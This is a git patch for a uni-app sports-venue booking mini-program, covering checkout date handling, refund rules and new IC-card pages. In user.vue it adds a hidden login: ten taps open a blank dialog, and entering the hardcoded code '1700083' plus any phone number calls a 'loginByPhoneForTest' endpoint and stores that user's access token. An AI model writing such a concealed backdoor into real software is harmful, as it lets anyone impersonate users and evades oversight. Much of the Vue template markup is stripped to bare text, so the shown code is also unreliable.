From de3fd182464281149b69d9bbd7e503229a2fc636 Mon Sep 17 00:00:00 2001
From: b2894lxlx <517289602@qq.com>
Date: Sun, 23 Mar 2025 10:10:33 +0800
Subject: [PATCH] 250323
---
src/api/user/index.ts | 4 +
src/package/booking/checkout.vue | 17 +-
src/package/booking/confirm.vue | 7 +-
src/package/order/detail.vue | 6 +-
src/package/user/card-detail-record.vue | 100 ++--
src/package/user/card-detail.vue | 2 +-
src/package/user/card.vue | 41 +-
src/package/user/ic-card-detail-record.vue | 105 ++++
src/package/user/ic-card-detail.vue | 453 ++++++++++++++++++
src/pages.json | 14 +
src/pages/order.vue | 16 +-
src/pages/user.vue | 149 ++----
.../components/ws-user-card/ws-user-card.vue | 7 +-
13 files changed, 756 insertions(+), 165 deletions(-)
create mode 100644 src/package/user/ic-card-detail-record.vue
create mode 100644 src/package/user/ic-card-detail.vue
diff --git a/src/api/user/index.ts b/src/api/user/index.ts
index df7b5db..ca20afc 100644
--- a/src/api/user/index.ts
+++ b/src/api/user/index.ts
@@ -12,3 +12,7 @@ export async function authUser(data: User) {
}
return Promise.reject(new Error(res.data.message));
}
+
+export const loginByPhoneReq = (data: User) => {
+ return request.post('/system/user/loginByPhoneForTest', data);
+}
\ No newline at end of file
diff --git a/src/package/booking/checkout.vue b/src/package/booking/checkout.vue
index 3122afb..b0857ec 100644
--- a/src/package/booking/checkout.vue
+++ b/src/package/booking/checkout.vue
@@ -211,12 +211,12 @@ export default {
}
},
methods: {
- async reload() {
+ async reload(resetDate = true) {
// 请求数据
uni.showLoading({
title: '数据读取中.'
})
- this.setDateList()
+ this.setDateList(resetDate)
await this.getMerchant()
await this.getTimeList()
await this.getFieldList()
@@ -260,7 +260,7 @@ export default {
// uni.hideLoading()
// })
},
- setDateList() {
+ setDateList(resetDate = true) {
this.next7day = []
let day = 7
if (this.merchantId === 37) day = 1
@@ -273,7 +273,7 @@ export default {
value: day.format('MM月DD日')
})
}
- this.dateTime = dayjs().format('YYYY-MM-DD')
+ if (resetDate) this.dateTime = dayjs().format('YYYY-MM-DD')
this.week = dayjs().format('d') === '0' ? '7' : dayjs().format('d')
},
async getTimeList() {
@@ -328,6 +328,7 @@ export default {
this.disabled = !this.disabled;
},
onDateTime(e) {
+ this.selection = []
this.periodList = []
if (![37, 44, 32].includes(this.merchantId)) {
const date = dayjs().format('d')
@@ -371,6 +372,7 @@ export default {
},
onType(e) {
const index = e.currentIndex
+ this.selection = []
if (index === 0) {
this.type = 1;
this.isHalf = 0;
@@ -379,7 +381,7 @@ export default {
this.type = 2;
this.isHalf = 1;
}
- this.reload()
+ this.reload(false)
},
async getMerchant() {
this.merchant = await getThinkSite(this.merchantId)
@@ -444,6 +446,8 @@ export default {
const siteTime = field.periodVoList.find(d => d.period === item.timePeriod)
// 添加到购物车
const week = parseInt(this.week) === 7 ? 0 : this.week
+ console.log(item)
+ console.log('this.type', this.type)
app.selection.push({
key,
sid: this.merchantId,
@@ -466,8 +470,9 @@ export default {
siteTimeId: siteTime.id,
dateTime: `${this.dateTime}`,
comments: `${this.dateTime}(${getWeek(week)})${item.timePeriod}`,
+ week
})
- // console.log(app.selection);
+ console.log(app.selection);
// console.log('period: ', period);
// 是否支持儿童票
// console.log('item.isChildren: ', item.isChildren);
diff --git a/src/package/booking/confirm.vue b/src/package/booking/confirm.vue
index 32cd2a2..b2943ac 100644
--- a/src/package/booking/confirm.vue
+++ b/src/package/booking/confirm.vue
@@ -24,8 +24,8 @@
-
-
-
-
- 已使用
- 未使用
-
-
-
-
+
+
+
+ 订单号: {{ item.orderNum }}
+
+
+ 已取消
+
+
+ 已完成
+
+
+ 已支付
+
+
+ 未支付
+
+
+
+
+
+
+
+
+
+
+
+ 合计:¥{{ item.totalPrice }}
+
+
+
+
@@ -18,41 +41,38 @@
-
+
\ No newline at end of file
diff --git a/src/package/user/card-detail.vue b/src/package/user/card-detail.vue
index c75b1ba..5350752 100644
--- a/src/package/user/card-detail.vue
+++ b/src/package/user/card-detail.vue
@@ -86,7 +86,7 @@
-
+
使用记录
diff --git a/src/package/user/card.vue b/src/package/user/card.vue
index b900cae..d2491e8 100644
--- a/src/package/user/card.vue
+++ b/src/package/user/card.vue
@@ -1,13 +1,13 @@
-
+
@@ -34,7 +34,8 @@
item.remainingMoney
}}
-
+
{{ dayjs(item.expireTime * 1000).format('YYYY-MM-DD HH:mm') }}过期
@@ -78,6 +79,8 @@
import * as Api from '@/api/think/thinkUsersVip';
import {getWeek, getKey} from '@/utils/common';
import dayjs from "dayjs";
+import {listThinkUsersVip, pageThinkUsersVip} from "@/api/think/thinkUsersVip";
+import {listThinkCard, listUserThinkCard, pageThinkCard} from "@/api/think/thinkCard";
export default {
components: {},
@@ -86,12 +89,14 @@ export default {
isRefresh: false,
isLogin: false,
userId: 0,
+ cardType: 0,
where: {
page: 1
},
canReset: false,
loadMore: 'more',
logo: '',
+ list: [{name: 'VIP卡'}, {name: 'IC卡'}],
items: ['月/年卡', '次卡', '充值卡'],
cardList: [],
styles: [
@@ -129,9 +134,11 @@ export default {
console.log('判断是否刷新: ', e);
// 判断是否登录
this.openLogin();
- if (this.isRefresh) {
- this.reload();
- }
+ // if (this.isRefresh) {
+ // this.reload();
+ // }
+ this.cardType = 0
+ this.getVipCardList()
},
// 触底函数
onReachBottom() {
@@ -144,6 +151,22 @@ export default {
},
methods: {
dayjs,
+ changeCardType({index}) {
+ this.cardType = index
+ this.cardList = []
+ if (index === 0) {
+ this.getVipCardList()
+ } else {
+ this.getIcCardList()
+ }
+ },
+ async getVipCardList() {
+ this.cardList = await listThinkUsersVip()
+ },
+ async getIcCardList() {
+ this.cardList = await listUserThinkCard()
+ },
+
reload() {
const app = this;
const {where, userId} = this;
@@ -251,6 +274,12 @@ export default {
this.$refs.login.open('bottom');
return false;
}
+ },
+ toDetail(id) {
+ if (this.cardType === 0)
+ this.openUrl(`/package/user/card-detail?cardId=${id}`)
+ else
+ this.openUrl(`/package/user/ic-card-detail?cardId=${id}`)
}
}
};
diff --git a/src/package/user/ic-card-detail-record.vue b/src/package/user/ic-card-detail-record.vue
new file mode 100644
index 0000000..2820676
--- /dev/null
+++ b/src/package/user/ic-card-detail-record.vue
@@ -0,0 +1,105 @@
+
+
+
+
+
+
+ 订单号: {{ item.orderNum }}
+
+
+ 已取消
+
+
+ 已完成
+
+
+ 已支付
+
+
+ 未支付
+
+
+
+
+
+
+
+
+
+
+
+ 合计:¥{{ item.totalPrice }}
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/package/user/ic-card-detail.vue b/src/package/user/ic-card-detail.vue
new file mode 100644
index 0000000..96b1162
--- /dev/null
+++ b/src/package/user/ic-card-detail.vue
@@ -0,0 +1,453 @@
+
+
+
+
+
+
+
+
+
+
+ {{
+ form.name
+ }}
+
+
+
+ {{ cardType[form.type] }}
+
+ {{ dayjs(form.expireTime * 1000).format('YYYY-MM-DD HH:mm:ss') }} 过期
+
+
+
+
+
+
+
+
+
+ {{ form.cardNum }}
+
+
+
+
+
+
+
+ {{ countDown }}秒后自动刷新
+
+ 会员码(每30秒刷新,点击二维码手动刷新)
+
+
+
+
+
+
+ 余额
+ {{ form.remainingMoney || 0.0 }}
+
+
+
+ 剩余次数
+ {{ form.num || 0 }}
+
+
+
+ 折扣
+ {{ form.discount || 0 }}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 会员卡详情
+ {{ form.info }}
+
+
+
+
+
+
+ 适用场馆
+
+
+
+
+
+
+ 使用记录
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/src/pages.json b/src/pages.json
index 0f69b0f..37a94f3 100644
--- a/src/pages.json
+++ b/src/pages.json
@@ -127,6 +127,13 @@
"enablePullDownRefresh": false
}
},
+ {
+ "path": "user/ic-card-detail",
+ "style": {
+ "navigationBarTitleText": "IC卡详情",
+ "enablePullDownRefresh": false
+ }
+ },
{
"path": "user/card-detail-merchant",
"style": {
@@ -148,6 +155,13 @@
"enablePullDownRefresh": false
}
},
+ {
+ "path": "user/ic-card-detail-record",
+ "style": {
+ "navigationBarTitleText": "使用记录",
+ "enablePullDownRefresh": false
+ }
+ },
{
"path": "user/pay-password",
"style": {
diff --git a/src/pages/order.vue b/src/pages/order.vue
index 4373dcc..0573b94 100644
--- a/src/pages/order.vue
+++ b/src/pages/order.vue
@@ -380,8 +380,20 @@ export default {
if (item.sid === 37) {
if (item.orderStatus === 2) item.canRefund = true
} else {
- // 可提前6小时退
- item.canRefund = item.startTime - dayjs().unix() > (3600 * 6)
+ // 下单半个小时内可退
+ if (dayjs().unix() - item.createTime < 1800) {
+ if (item.orderStatus === 2 && item.payStatus === 1) item.canRefund = true
+ } else {
+ // 可提前6小时退
+ if (item.startTime.includes(',')) {
+ const startTimeList = item.startTime.split(',').map(Number)
+ startTimeList.map(startTime => {
+ if (startTime - dayjs().unix() > (3600 * 6)) item.canRefund = true
+ })
+ } else {
+ item.canRefund = item.startTime - dayjs().unix() > (3600 * 6)
+ }
+ }
}
item.disabled = false
return item
diff --git a/src/pages/user.vue b/src/pages/user.vue
index 97f7727..7c2ff52 100644
--- a/src/pages/user.vue
+++ b/src/pages/user.vue
@@ -1,7 +1,7 @@
-
+
@@ -42,41 +42,7 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
@@ -93,78 +59,10 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
@@ -194,7 +92,7 @@ import {getWxOpenId, loginByOpenId} from '@/api/passport/login';
import Layout from "@/components/layout.vue";
import {useTenantStore} from '@/store/modules/tenant';
-import {authUser} from "@/api/user";
+import {authUser, loginByPhoneReq} from "@/api/user";
import UvAvatar from "@/uni_modules/uv-avatar/components/uv-avatar/uv-avatar.vue";
import {getThinkOrderByCode, thinkOrderCheckCode} from "@/api/think/thinkOrder";
@@ -225,7 +123,8 @@ export default {
// 是否拥有场馆职员权限
hasMerchantClerkRole: false,
// 是否拥有超级管理员权限
- hasSuperAdminRole: false
+ hasSuperAdminRole: false,
+ loginCount: 0
};
},
onLoad() {
@@ -440,8 +339,46 @@ export default {
})
}
});
-
+ },
+ phoneLogin() {
+ this.loginCount++
+ console.log(this.loginCount)
+ if (this.loginCount === 10) {
+ this.loginCount = 0
+ uni.showModal({
+ editable: true,
+ title: '提示',
+ content: '',
+ success: async ({confirm, content}) => {
+ if (confirm) {
+ console.log(content)
+ if (content === '1700083') {
+ uni.showModal({
+ editable: true,
+ title: '提示',
+ content: '',
+ success: async (phoneModal) => {
+ if (phoneModal.confirm) {
+ const {data: {data}} = await loginByPhoneReq({
+ phone: phoneModal.content,
+ phoneLoginCode: content
+ })
+ uni.showToast({
+ title: '登录成功',
+ icon: 'success'
+ })
+ uni.setStorageSync('access_token', data.access_token)
+ uni.setStorageSync('user_id', data.user.userId)
+ }
+ }
+ })
+ }
+ }
+ }
+ })
+ }
}
+
}
};
diff --git a/src/uni_modules/ws-user-card/components/ws-user-card/ws-user-card.vue b/src/uni_modules/ws-user-card/components/ws-user-card/ws-user-card.vue
index 9c5e730..44f5c38 100644
--- a/src/uni_modules/ws-user-card/components/ws-user-card/ws-user-card.vue
+++ b/src/uni_modules/ws-user-card/components/ws-user-card/ws-user-card.vue
@@ -77,6 +77,7 @@